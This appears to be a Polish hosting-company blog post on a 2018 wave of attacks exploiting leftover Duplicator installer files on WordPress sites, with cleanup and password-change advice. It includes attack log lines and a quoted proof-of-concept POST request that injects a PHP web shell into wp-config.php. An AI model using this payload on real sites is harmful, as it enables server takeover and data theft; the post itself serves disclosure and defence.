Blog
WordPress Hacked

Atak na strony oparte o WordPressa poprzez pliki Duplicatora

W ciągu ostatnich godzin, na wielu stronach opartych o WordPressa, zamiast strony głównej pojawiał się ekran instalacji tego CMSa. Problemem był brak pliku wp-config.php, który został usunięty.

W sieciach społecznościowych zaczęły pojawiać się wpisy na temat znikających plików WordPressa. 

Wpis z grupy WordPress Polska

Podatność

Po analizie na kilkunastu serwerach, wektorem ataku były pozostawione pliki po migracji strony za pomocą wtyczki Duplicator. Przykładowy log ataku na stronę:

54.38.130.58 - - [06/Sep/2018:13:22:24 +0000] "POST /installer.php HTTP/1.1" 200 497 "example.pl/wp-admin/admin-ajax.php" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"
54.38.130.58 - - [06/Sep/2018:13:22:24 +0000] "POST /installer-backup.php HTTP/1.1" 200 497 "example.pl/wp-admin/admin-ajax.php" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"
54.38.130.58 - - [06/Sep/2018:13:22:25 +0000] "GET /wp-crawl.php?q=ZWNobyAiYmFyYmllZGVuIjs= HTTP/1.1" 200 9 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"
54.38.130.58 - - [06/Sep/2018:13:22:26 +0000] "GET /wp-content/uploads/wp-crawl.php?q=ZWNobyAiYmFyYmllZGVuIjs= HTTP/1.1" 200 9 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36"

Atakujący za pomocą pozostawionego pliku installer.php (lub installer-backup.php) jest w stanie na serwer wgrać np. konie trojańskie i uzyskać dostęp do plików na serwerze oraz bazy danych. Jest to błąd typu Remote Code Execution, który również został potwierdzony przez Wordfence.

Sama luka nie występuje we wtyczce Duplicator a znajduje się w plikach jakie są generowane do przeniesienia strony na inny serwer.

Okienko przywracania strony poprzez Duplicatora

Przekazując w parametrze POST wartość action_ajax=3, atakujący jest w stanie ominąć okienko weryfikacji plików i nadpisać wp-config.php. Przykładowy exploit udostępniony przez Synacktiv:

POST /installer-backup.php HTTP/1.1
Host: 192.168.56.101
Content-Length: 242
Content-Type: application/x-www-form-urlencoded
Connection: close
action_ajax=3&action_step=3&dbhost=nowhere&dbuser=test&dbpass=test&dbname=test');
file_put_contents("test.php", '<pre><?php if (isset($_GET["synacktiv_backdoor"])) { echo
shell_exec($_GET["synacktiv_backdoor"]); } ?></pre>'); /*&dbport=12345&

W następnym kroku należy odwiedzić po prostu atakowaną stronę, aby zaczytał się plik wp-config.php, który posiada już złośliwy kod.

Do czego mają dostęp atakujący?

Jeżeli na Twoim serwerze panował bałagan, a co gorsza leżały pliki jakie tworzy Duplicator podczas migracji strony, to atakujący ma dostęp do wszystkich danych związanych z Twoją stroną.

Przykładowe pliki zostawione po migracji strony za pomocą Duplicatora:

  • 20180906_examplepl_8b5c33bcbb1d027b1870180906225049_archive.zip
  • installer-backup.php
  • installer-data.sql
  • installer-log.txt
  • installer.php

Plik zip zawiera kopię wszystkich plików strony a sql, bazę danych. Po migracji wszystkie wyżej wymienione pliki, powinny zostać skasowane.

Jak się zabezpieczyć i co robić?

Jeżeli pobrane zostało archiwum stworzone przez Duplicatora, to należy uznać, że atakujący ma dostęp do bazy danych oraz plików strony. Należy przywrócić przede wszystkim stronę z kopii zapasowej oraz zmienić wszystkie hasła z nią związaną.

Po migracji strony za pomocą Duplicatora, należy skasować wszystkie jego pliki. Sama wtyczka to umożliwia, zaraz po zalogowaniu się do panelu admina WordPressa.

Skasuj pliki po ukończonej migracji
Skasuj pliki po ukończonej migracji

Po kliknięciu w link: Remove installation Files Now! warto jeszcze sprawdzić, czy faktycznie wszystkie pliki instalacyjne zostały usunięte. W przypadku opisanego wyżej ataku mogło być tak, że przez błąd we wtyczce pliki nie były usuwane.

Na naszych serwerach, pliki te zostały skasowane ze względów bezpieczeństwa.

Jeżeli przechowywaliśmy w WordPressie dane do różnych serwisów, jak np. systemy pocztowe, dane do newsletterów itp. to również i tam należy zmienić hasła.

Szczegółowe informacje na temat zabezpieczania WordPressa znajdują się w naszym kompendium. Przypominamy, że korzystanie z wtyczek do backupu może być bardzo niebezpieczne.

Bądź na bieżąco

Jeżeli nie chcesz przegapić naszych artykułów oraz ciekawych podcastów, zapisz się do newslettera.

Dodaj komentarz!